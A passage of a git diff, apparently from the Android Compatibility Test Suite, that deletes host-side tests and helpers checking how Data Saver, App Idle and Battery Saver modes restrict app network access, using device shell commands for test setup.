-        return state > PROCESS_STATE_FOREGROUND_SERVICE;
-    }
-
-    /**
-     * Asserts whether the active network is available or not.
-     */
-    private void assertNetworkAccess(boolean expectAvailable, boolean needScreenOn)
-            throws Exception {
-        final int maxTries = 5;
-        String error = null;
-        int timeoutMs = 500;
-
-        for (int i = 1; i <= maxTries; i++) {
-            error = checkNetworkAccess(expectAvailable);
-
-            if (error.isEmpty()) return;
-
-            // TODO: ideally, it should retry only when it cannot connect to an external site,
-            // or no retry at all! But, currently, the initial change fails almost always on
-            // battery saver tests because the netd changes are made asynchronously.
-            // Once b/27803922 is fixed, this retry mechanism should be revisited.
-
-            Log.w(TAG, "Network status didn't match for expectAvailable=" + expectAvailable
-                    + " on attempt #" + i + ": " + error + "\n"
-                    + "Sleeping " + timeoutMs + "ms before trying again");
-            if (needScreenOn) {
-                turnScreenOn();
-            }
-            // No sleep after the last turn
-            if (i < maxTries) {
-                SystemClock.sleep(timeoutMs);
-            }
-            // Exponential back-off.
-            timeoutMs = Math.min(timeoutMs*2, NETWORK_TIMEOUT_MS);
-        }
-        fail("Invalid state for expectAvailable=" + expectAvailable + " after " + maxTries
-                + " attempts.\nLast error: " + error);
-    }
-
-    /**
-     * Checks whether the network is available as expected.
-     *
-     * @return error message with the mismatch (or empty if assertion passed).
-     */
-    private String checkNetworkAccess(boolean expectAvailable) throws Exception {
-        final String resultData = mServiceClient.checkNetworkStatus();
-        return checkForAvailabilityInResultData(resultData, expectAvailable);
-    }
-
-    private String checkForAvailabilityInResultData(String resultData, boolean expectAvailable) {
-        if (resultData == null) {
-            assertNotNull("Network status from app2 is null", resultData);
-        }
-        // Network status format is described on MyBroadcastReceiver.checkNetworkStatus()
-        final String[] parts = resultData.split(NETWORK_STATUS_SEPARATOR);
-        assertEquals("Wrong network status: " + resultData, 5, parts.length);
-        final State state = parts[0].equals("null") ? null : State.valueOf(parts[0]);
-        final DetailedState detailedState = parts[1].equals("null")
-                ? null : DetailedState.valueOf(parts[1]);
-        final boolean connected = Boolean.valueOf(parts[2]);
-        final String connectionCheckDetails = parts[3];
-        final String networkInfo = parts[4];
-
-        final StringBuilder errors = new StringBuilder();
-        final State expectedState;
-        final DetailedState expectedDetailedState;
-        if (expectAvailable) {
-            expectedState = State.CONNECTED;
-            expectedDetailedState = DetailedState.CONNECTED;
-        } else {
-            expectedState = State.DISCONNECTED;
-            expectedDetailedState = DetailedState.BLOCKED;
-        }
-
-        if (expectAvailable != connected) {
-            errors.append(String.format("External site connection failed: expected %s, got %s\n",
-                    expectAvailable, connected));
-        }
-        if (expectedState != state || expectedDetailedState != detailedState) {
-            errors.append(String.format("Connection state mismatch: expected %s/%s, got %s/%s\n",
-                    expectedState, expectedDetailedState, state, detailedState));
-        }
-
-        if (errors.length() > 0) {
-            errors.append("\tnetworkInfo: " + networkInfo + "\n");
-            errors.append("\tconnectionCheckDetails: " + connectionCheckDetails + "\n");
-        }
-        return errors.toString();
-    }
-
-    /**
-     * Runs a Shell command which is not expected to generate output.
-     */
-    protected void executeSilentShellCommand(String command) {
-        final String result = executeShellCommand(command);
-        assertTrue("Command '" + command + "' failed: " + result, result.trim().isEmpty());
-    }
-
-    /**
-     * Asserts the result of a command, wait and re-running it a couple times if necessary.
-     */
-    protected void assertDelayedShellCommand(String command, final String expectedResult)
-            throws Exception {
-        assertDelayedShellCommand(command, 5, 1, expectedResult);
-    }
-
-    protected void assertDelayedShellCommand(String command, int maxTries, int napTimeSeconds,
-            final String expectedResult) throws Exception {
-        assertDelayedShellCommand(command, maxTries, napTimeSeconds, new ExpectResultChecker() {
-
-            @Override
-            public boolean isExpected(String result) {
-                return expectedResult.equals(result);
-            }
-
-            @Override
-            public String getExpected() {
-                return expectedResult;
-            }
-        });
-    }
-
-    protected void assertDelayedShellCommand(String command, int maxTries, int napTimeSeconds,
-            ExpectResultChecker checker) throws Exception {
-        String result = "";
-        for (int i = 1; i <= maxTries; i++) {
-            result = executeShellCommand(command).trim();
-            if (checker.isExpected(result)) return;
-            Log.v(TAG, "Command '" + command + "' returned '" + result + " instead of '"
-                    + checker.getExpected() + "' on attempt #" + i
-                    + "; sleeping " + napTimeSeconds + "s before trying again");
-            SystemClock.sleep(napTimeSeconds * SECOND_IN_MS);
-        }
-        fail("Command '" + command + "' did not return '" + checker.getExpected() + "' after "
-                + maxTries
-                + " attempts. Last result: '" + result + "'");
-    }
-
-    protected void addRestrictBackgroundWhitelist(int uid) throws Exception {
-        executeShellCommand("cmd netpolicy add restrict-background-whitelist " + uid);
-        assertRestrictBackgroundWhitelist(uid, true);
-        // UID policies live by the Highlander rule: "There can be only one".
-        // Hence, if app is whitelisted, it should not be blacklisted.
-        assertRestrictBackgroundBlacklist(uid, false);
-    }
-
-    protected void removeRestrictBackgroundWhitelist(int uid) throws Exception {
-        executeShellCommand("cmd netpolicy remove restrict-background-whitelist " + uid);
-        assertRestrictBackgroundWhitelist(uid, false);
-    }
-
-    protected void assertRestrictBackgroundWhitelist(int uid, boolean expected) throws Exception {
-        assertRestrictBackground("restrict-background-whitelist", uid, expected);
-    }
-
-    protected void addRestrictBackgroundBlacklist(int uid) throws Exception {
-        executeShellCommand("cmd netpolicy add restrict-background-blacklist " + uid);
-        assertRestrictBackgroundBlacklist(uid, true);
-        // UID policies live by the Highlander rule: "There can be only one".
-        // Hence, if app is blacklisted, it should not be whitelisted.
-        assertRestrictBackgroundWhitelist(uid, false);
-    }
-
-    protected void removeRestrictBackgroundBlacklist(int uid) throws Exception {
-        executeShellCommand("cmd netpolicy remove restrict-background-blacklist " + uid);
-        assertRestrictBackgroundBlacklist(uid, false);
-    }
-
-    protected void assertRestrictBackgroundBlacklist(int uid, boolean expected) throws Exception {
-        assertRestrictBackground("restrict-background-blacklist", uid, expected);
-    }
-
-    protected void addAppIdleWhitelist(int uid) throws Exception {
-        executeShellCommand("cmd netpolicy add app-idle-whitelist " + uid);
-        assertAppIdleWhitelist(uid, true);
-    }
-
-    protected void removeAppIdleWhitelist(int uid) throws Exception {
-        executeShellCommand("cmd netpolicy remove app-idle-whitelist " + uid);
-        assertAppIdleWhitelist(uid, false);
-    }
-
-    protected void assertAppIdleWhitelist(int uid, boolean expected) throws Exception {
-        assertRestrictBackground("app-idle-whitelist", uid, expected);
-    }
-
-    private void assertRestrictBackground(String list, int uid, boolean expected) throws Exception {
-        final int maxTries = 5;
-        boolean actual = false;
-        final String expectedUid = Integer.toString(uid);
-        String uids = "";
-        for (int i = 1; i <= maxTries; i++) {
-            final String output =
-                    executeShellCommand("cmd netpolicy list " + list);
-            uids = output.split(":")[1];
-            for (String candidate : uids.split(" ")) {
-                actual = candidate.trim().equals(expectedUid);
-                if (expected == actual) {
-                    return;
-                }
-            }
-            Log.v(TAG, list + " check for uid " + uid + " doesn't match yet (expected "
-                    + expected + ", got " + actual + "); sleeping 1s before polling again");
-            SystemClock.sleep(SECOND_IN_MS);
-        }
-        fail(list + " check for uid " + uid + " failed: expected " + expected + ", got " + actual
-                + ". Full list: " + uids);
-    }
-
-    protected void addTempPowerSaveModeWhitelist(String packageName, long duration)
-            throws Exception {
-        Log.i(TAG, "Adding pkg " + packageName + " to temp-power-save-mode whitelist");
-        executeShellCommand("dumpsys deviceidle tempwhitelist -d " + duration + " " + packageName);
-    }
-
-    protected void assertPowerSaveModeWhitelist(String packageName, boolean expected)
-            throws Exception {
-        // TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
-        // need to use netpolicy for whitelisting
-        assertDelayedShellCommand("dumpsys deviceidle whitelist =" + packageName,
-                Boolean.toString(expected));
-    }
-
-    protected void addPowerSaveModeWhitelist(String packageName) throws Exception {
-        Log.i(TAG, "Adding package " + packageName + " to power-save-mode whitelist");
-        // TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
-        // need to use netpolicy for whitelisting
-        executeShellCommand("dumpsys deviceidle whitelist +" + packageName);
-        assertPowerSaveModeWhitelist(packageName, true);
-    }
-
-    protected void removePowerSaveModeWhitelist(String packageName) throws Exception {
-        Log.i(TAG, "Removing package " + packageName + " from power-save-mode whitelist");
-        // TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
-        // need to use netpolicy for whitelisting
-        executeShellCommand("dumpsys deviceidle whitelist -" + packageName);
-        assertPowerSaveModeWhitelist(packageName, false);
-    }
-
-    protected void assertPowerSaveModeExceptIdleWhitelist(String packageName, boolean expected)
-            throws Exception {
-        // TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
-        // need to use netpolicy for whitelisting
-        assertDelayedShellCommand("dumpsys deviceidle except-idle-whitelist =" + packageName,
-                Boolean.toString(expected));
-    }
-
-    protected void addPowerSaveModeExceptIdleWhitelist(String packageName) throws Exception {
-        Log.i(TAG, "Adding package " + packageName + " to power-save-mode-except-idle whitelist");
-        // TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
-        // need to use netpolicy for whitelisting
-        executeShellCommand("dumpsys deviceidle except-idle-whitelist +" + packageName);
-        assertPowerSaveModeExceptIdleWhitelist(packageName, true);
-    }
-
-    protected void removePowerSaveModeExceptIdleWhitelist(String packageName) throws Exception {
-        Log.i(TAG, "Removing package " + packageName
-                + " from power-save-mode-except-idle whitelist");
-        // TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
-        // need to use netpolicy for whitelisting
-        executeShellCommand("dumpsys deviceidle except-idle-whitelist reset");
-        assertPowerSaveModeExceptIdleWhitelist(packageName, false);
-    }
-
-    protected void turnBatteryOn() throws Exception {
-        executeSilentShellCommand("cmd battery unplug");
-        executeSilentShellCommand("cmd battery set status "
-                + BatteryManager.BATTERY_STATUS_DISCHARGING);
-        assertBatteryState(false);
-    }
-
-    protected void turnBatteryOff() throws Exception {
-        executeSilentShellCommand("cmd battery set ac " + BATTERY_PLUGGED_ANY);
-        executeSilentShellCommand("cmd battery set level 100");
-        executeSilentShellCommand("cmd battery set status "
-                + BatteryManager.BATTERY_STATUS_CHARGING);
-        assertBatteryState(true);
-    }
-
-    private void assertBatteryState(boolean pluggedIn) throws Exception {
-        final long endTime = SystemClock.elapsedRealtime() + BATTERY_STATE_TIMEOUT_MS;
-        while (isDevicePluggedIn() != pluggedIn && SystemClock.elapsedRealtime() <= endTime) {
-            Thread.sleep(BATTERY_STATE_CHECK_INTERVAL_MS);
-        }
-        if (isDevicePluggedIn() != pluggedIn) {
-            fail("Timed out waiting for the plugged-in state to change,"
-                    + " expected pluggedIn: " + pluggedIn);
-        }
-    }
-
-    private boolean isDevicePluggedIn() {
-        final Intent batteryIntent = mContext.registerReceiver(null, BATTERY_CHANGED_FILTER);
-        return batteryIntent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1) > 0;
-    }
-
-    protected void turnScreenOff() throws Exception {
-        executeSilentShellCommand("input keyevent KEYCODE_SLEEP");
-    }
-
-    protected void turnScreenOn() throws Exception {
-        executeSilentShellCommand("input keyevent KEYCODE_WAKEUP");
-        executeSilentShellCommand("wm dismiss-keyguard");
-    }
-
-    protected void setBatterySaverMode(boolean enabled) throws Exception {
-        Log.i(TAG, "Setting Battery Saver Mode to " + enabled);
-        if (enabled) {
-            turnBatteryOn();
-            executeSilentShellCommand("cmd power set-mode 1");
-        } else {
-            executeSilentShellCommand("cmd power set-mode 0");
-            turnBatteryOff();
-        }
-    }
-
-    protected void setDozeMode(boolean enabled) throws Exception {
-        // Check doze mode is supported.
-        assertTrue("Device does not support Doze Mode", isDozeModeSupported());
-
-        Log.i(TAG, "Setting Doze Mode to " + enabled);
-        if (enabled) {
-            turnBatteryOn();
-            turnScreenOff();
-            executeShellCommand("dumpsys deviceidle force-idle deep");
-        } else {
-            turnScreenOn();
-            turnBatteryOff();
-            executeShellCommand("dumpsys deviceidle unforce");
-        }
-        assertDozeMode(enabled);
-    }
-
-    protected void assertDozeMode(boolean enabled) throws Exception {
-        assertDelayedShellCommand("dumpsys deviceidle get deep", enabled ? "IDLE" : "ACTIVE");
-    }
-
-    protected void setAppIdle(boolean enabled) throws Exception {
-        Log.i(TAG, "Setting app idle to " + enabled);
-        executeSilentShellCommand("am set-inactive " + TEST_APP2_PKG + " " + enabled );
-        assertAppIdle(enabled);
-    }
-
-    protected void setAppIdleNoAssert(boolean enabled) throws Exception {
-        Log.i(TAG, "Setting app idle to " + enabled);
-        executeSilentShellCommand("am set-inactive " + TEST_APP2_PKG + " " + enabled );
-    }
-
-    protected void assertAppIdle(boolean enabled) throws Exception {
-        try {
-            assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
-        } catch (Throwable e) {
-            throw e;
-        }
-    }
-
-    /**
-     * Starts a service that will register a broadcast receiver to receive
-     * {@code RESTRICT_BACKGROUND_CHANGE} intents.
-     * <p>
-     * The service must run in a separate app because otherwise it would be killed every time
-     * {@link #runDeviceTests(String, String)} is executed.
-     */
-    protected void registerBroadcastReceiver() throws Exception {
-        mServiceClient.registerBroadcastReceiver();
-
-        final Intent intent = new Intent(ACTION_RECEIVER_READY)
-                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
-        // Wait until receiver is ready.
-        final int maxTries = 10;
-        for (int i = 1; i <= maxTries; i++) {
-            final String message = sendOrderedBroadcast(intent, SECOND_IN_MS * 4);
-            Log.d(TAG, "app2 receiver acked: " + message);
-            if (message != null) {
-                return;
-            }
-            Log.v(TAG, "app2 receiver is not ready yet; sleeping 1s before polling again");
-            SystemClock.sleep(SECOND_IN_MS);
-        }
-        fail("app2 receiver is not ready");
-    }
-
-    protected void registerNetworkCallback(INetworkCallback cb) throws Exception {
-        mServiceClient.registerNetworkCallback(cb);
-    }
-
-    protected void unregisterNetworkCallback() throws Exception {
-        mServiceClient.unregisterNetworkCallback();
-    }
-
-    /**
-     * Registers a {@link NotificationListenerService} implementation that will execute the
-     * notification actions right after the notification is sent.
-     */
-    protected void registerNotificationListenerService() throws Exception {
-        executeShellCommand("cmd notification allow_listener "
-                + MyNotificationListenerService.getId());
-        final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
-        final ComponentName listenerComponent = MyNotificationListenerService.getComponentName();
-        assertTrue(listenerComponent + " has not been granted access",
-                nm.isNotificationListenerAccessGranted(listenerComponent));
-    }
-
-    protected void setPendingIntentWhitelistDuration(int durationMs) throws Exception {
-        executeSilentShellCommand(String.format(
-                "settings put global %s %s=%d", mDeviceIdleConstantsSetting,
-                "notification_whitelist_duration", durationMs));
-    }
-
-    protected void resetDeviceIdleSettings() throws Exception {
-        executeShellCommand(String.format("settings delete global %s",
-                mDeviceIdleConstantsSetting));
-    }
-
-    protected void launchComponentAndAssertNetworkAccess(int type) throws Exception {
-        if (type == TYPE_COMPONENT_FOREGROUND_SERVICE) {
-            startForegroundService();
-            assertForegroundServiceNetworkAccess();
-            return;
-        } else if (type == TYPE_COMPONENT_ACTIVTIY) {
-            turnScreenOn();
-            // Wait for screen-on state to propagate through the system.
-            SystemClock.sleep(2000);
-            final CountDownLatch latch = new CountDownLatch(1);
-            final Intent launchIntent = getIntentForComponent(type);
-            final Bundle extras = new Bundle();
-            final String[] errors = new String[]{null};
-            extras.putBinder(KEY_NETWORK_STATE_OBSERVER, getNewNetworkStateObserver(latch, errors));
-            launchIntent.putExtras(extras);
-            mContext.startActivity(launchIntent);
-            if (latch.await(FOREGROUND_PROC_NETWORK_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-                if (!errors[0].isEmpty()) {
-                    if (errors[0] == APP_NOT_FOREGROUND_ERROR) {
-                        // App didn't come to foreground when the activity is started, so try again.
-                        assertForegroundNetworkAccess();
-                    } else {
-                        fail("Network is not available for app2 (" + mUid + "): " + errors[0]);
-                    }
-                }
-            } else {
-                fail("Timed out waiting for network availability status from app2 (" + mUid + ")");
-            }
-        } else {
-            throw new IllegalArgumentException("Unknown type: " + type);
-        }
-    }
-
-    private void startForegroundService() throws Exception {
-        final Intent launchIntent = getIntentForComponent(TYPE_COMPONENT_FOREGROUND_SERVICE);
-        mContext.startForegroundService(launchIntent);
-        assertForegroundServiceState();
-    }
-
-    private Intent getIntentForComponent(int type) {
-        final Intent intent = new Intent();
-        if (type == TYPE_COMPONENT_ACTIVTIY) {
-            intent.setComponent(new ComponentName(TEST_APP2_PKG, TEST_APP2_ACTIVITY_CLASS))
-                    .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        } else if (type == TYPE_COMPONENT_FOREGROUND_SERVICE) {
-            intent.setComponent(new ComponentName(TEST_APP2_PKG, TEST_APP2_SERVICE_CLASS))
-                    .setFlags(1);
-        } else {
-            fail("Unknown type: " + type);
-        }
-        return intent;
-    }
-
-    protected void stopForegroundService() throws Exception {
-        executeShellCommand(String.format("am startservice -f 2 %s/%s",
-                TEST_APP2_PKG, TEST_APP2_SERVICE_CLASS));
-        // NOTE: cannot assert state because it depends on whether activity was on top before.
-    }
-
-    private Binder getNewNetworkStateObserver(final CountDownLatch latch,
-            final String[] errors) {
-        return new INetworkStateObserver.Stub() {
-            @Override
-            public boolean isForeground() {
-                try {
-                    final ProcessState state = getProcessStateByUid(mUid);
-                    return !isBackground(state.state);
-                } catch (Exception e) {
-                    Log.d(TAG, "Error while reading the proc state for " + mUid + ": " + e);
-                    return false;
-                }
-            }
-
-            @Override
-            public void onNetworkStateChecked(String resultData) {
-                errors[0] = resultData == null
-                        ? APP_NOT_FOREGROUND_ERROR
-                        : checkForAvailabilityInResultData(resultData, true);
-                latch.countDown();
-            }
-        };
-    }
-
-    /**
-     * Finishes an activity on app2 so its process is demoted fromforeground status.
-     */
-    protected void finishActivity() throws Exception {
-        executeShellCommand("am broadcast -a "
-                + " com.android.cts.net.hostside.app2.action.FINISH_ACTIVITY "
-                + "--receiver-foreground --receiver-registered-only");
-    }
-
-    protected void sendNotification(int notificationId, String notificationType) throws Exception {
-        Log.d(TAG, "Sending notification broadcast (id=" + notificationId
-                + ", type=" + notificationType);
-        mServiceClient.sendNotification(notificationId, notificationType);
-    }
-
-    protected String showToast() {
-        final Intent intent = new Intent(ACTION_SHOW_TOAST);
-        intent.setPackage(TEST_APP2_PKG);
-        Log.d(TAG, "Sending request to show toast");
-        try {
-            return sendOrderedBroadcast(intent, 3 * SECOND_IN_MS);
-        } catch (Exception e) {
-            return "";
-        }
-    }
-
-    private ProcessState getProcessStateByUid(int uid) throws Exception {
-        return new ProcessState(executeShellCommand("cmd activity get-uid-state " + uid));
-    }
-
-    private static class ProcessState {
-        private final String fullState;
-        final int state;
-
-        ProcessState(String fullState) {
-            this.fullState = fullState;
-            try {
-                this.state = Integer.parseInt(fullState.split(" ")[0]);
-            } catch (Exception e) {
-                throw new IllegalArgumentException("Could not parse " + fullState);
-            }
-        }
-
-        @Override
-        public String toString() {
-            return fullState;
-        }
-    }
-
-    /**
-     * Helper class used to assert the result of a Shell command.
-     */
-    protected static interface ExpectResultChecker {
-        /**
-         * Checkes whether the result of the command matched the expectation.
-         */
-        boolean isExpected(String result);
-        /**
-         * Gets the expected result so it's displayed on log and failure messages.
-         */
-        String getExpected();
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleMeteredTest.java
deleted file mode 100644
index f1858d6..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleMeteredTest.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.Property.METERED_NETWORK;
-
-@RequiredProperties({METERED_NETWORK})
-public class AppIdleMeteredTest extends AbstractAppIdleTestCase {
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleNonMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleNonMeteredTest.java
deleted file mode 100644
index e737a6d..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AppIdleNonMeteredTest.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
-
-@RequiredProperties({NON_METERED_NETWORK})
-public class AppIdleNonMeteredTest extends AbstractAppIdleTestCase {
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeMeteredTest.java
deleted file mode 100644
index c78ca2e..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeMeteredTest.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.Property.METERED_NETWORK;
-
-@RequiredProperties({METERED_NETWORK})
-public class BatterySaverModeMeteredTest extends AbstractBatterySaverModeTestCase {
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeNonMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeNonMeteredTest.java
deleted file mode 100644
index fb52a54..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/BatterySaverModeNonMeteredTest.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-
-import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
-
-@RequiredProperties({NON_METERED_NETWORK})
-public class BatterySaverModeNonMeteredTest extends AbstractBatterySaverModeTestCase {
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
deleted file mode 100644
index 604a0b6..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
+++ /dev/null
@@ -1,207 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_DISABLED;
-import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
-import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
-
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.setRestrictBackground;
-import static com.android.cts.net.hostside.Property.DATA_SAVER_MODE;
-import static com.android.cts.net.hostside.Property.METERED_NETWORK;
-import static com.android.cts.net.hostside.Property.NO_DATA_SAVER_MODE;
-
-import static org.junit.Assert.fail;
-
-import com.android.compatibility.common.util.CddTest;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import androidx.test.filters.LargeTest;
-
-@RequiredProperties({DATA_SAVER_MODE, METERED_NETWORK})
-@LargeTest
-public class DataSaverModeTest extends AbstractRestrictBackgroundNetworkTestCase {
-
-    private static final String[] REQUIRED_WHITELISTED_PACKAGES = {
-        "com.android.providers.downloads"
-    };
-
-    @Before
-    public void setUp() throws Exception {
-        super.setUp();
-
-        // Set initial state.
-        setRestrictBackground(false);
-        removeRestrictBackgroundWhitelist(mUid);
-        removeRestrictBackgroundBlacklist(mUid);
-
-        registerBroadcastReceiver();
-        assertRestrictBackgroundChangedReceived(0);
-   }
-
-    @After
-    public void tearDown() throws Exception {
-        super.tearDown();
-
-        setRestrictBackground(false);
-    }
-
-    @Test
-    public void testGetRestrictBackgroundStatus_disabled() throws Exception {
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_DISABLED);
-
-        // Verify status is always disabled, never whitelisted
-        addRestrictBackgroundWhitelist(mUid);
-        assertRestrictBackgroundChangedReceived(0);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_DISABLED);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_DISABLED);
-    }
-
-    @Test
-    public void testGetRestrictBackgroundStatus_whitelisted() throws Exception {
-        setRestrictBackground(true);
-        assertRestrictBackgroundChangedReceived(1);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
-
-        addRestrictBackgroundWhitelist(mUid);
-        assertRestrictBackgroundChangedReceived(2);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_WHITELISTED);
-
-        removeRestrictBackgroundWhitelist(mUid);
-        assertRestrictBackgroundChangedReceived(3);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
-    }
-
-    @Test
-    public void testGetRestrictBackgroundStatus_enabled() throws Exception {
-        setRestrictBackground(true);
-        assertRestrictBackgroundChangedReceived(1);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
-
-        // Make sure foreground app doesn't lose access upon enabling Data Saver.
-        setRestrictBackground(false);
-        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_ACTIVTIY);
-        setRestrictBackground(true);
-        assertForegroundNetworkAccess();
-
-        // Although it should not have access while the screen is off.
-        turnScreenOff();
-        assertBackgroundNetworkAccess(false);
-        turnScreenOn();
-        assertForegroundNetworkAccess();
-
-        // Goes back to background state.
-        finishActivity();
-        assertBackgroundNetworkAccess(false);
-
-        // Make sure foreground service doesn't lose access upon enabling Data Saver.
-        setRestrictBackground(false);
-        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
-        setRestrictBackground(true);
-        assertForegroundNetworkAccess();
-        stopForegroundService();
-        assertBackgroundNetworkAccess(false);
-    }
-
-    @Test
-    public void testGetRestrictBackgroundStatus_blacklisted() throws Exception {
-        addRestrictBackgroundBlacklist(mUid);
-        assertRestrictBackgroundChangedReceived(1);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertRestrictBackgroundChangedReceived(1);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
-
-        // UID policies live by the Highlander rule: "There can be only one".
-        // Hence, if app is whitelisted, it should not be blacklisted anymore.
-        setRestrictBackground(true);
-        assertRestrictBackgroundChangedReceived(2);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
-        addRestrictBackgroundWhitelist(mUid);
-        assertRestrictBackgroundChangedReceived(3);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_WHITELISTED);
-
-        // Check status after removing blacklist.
-        // ...re-enables first
-        addRestrictBackgroundBlacklist(mUid);
-        assertRestrictBackgroundChangedReceived(4);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
-        assertsForegroundAlwaysHasNetworkAccess();
-        // ... remove blacklist - access's still rejected because Data Saver is on
-        removeRestrictBackgroundBlacklist(mUid);
-        assertRestrictBackgroundChangedReceived(4);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_ENABLED);
-        assertsForegroundAlwaysHasNetworkAccess();
-        // ... finally, disable Data Saver
-        setRestrictBackground(false);
-        assertRestrictBackgroundChangedReceived(5);
-        assertDataSaverStatusOnBackground(RESTRICT_BACKGROUND_STATUS_DISABLED);
-        assertsForegroundAlwaysHasNetworkAccess();
-    }
-
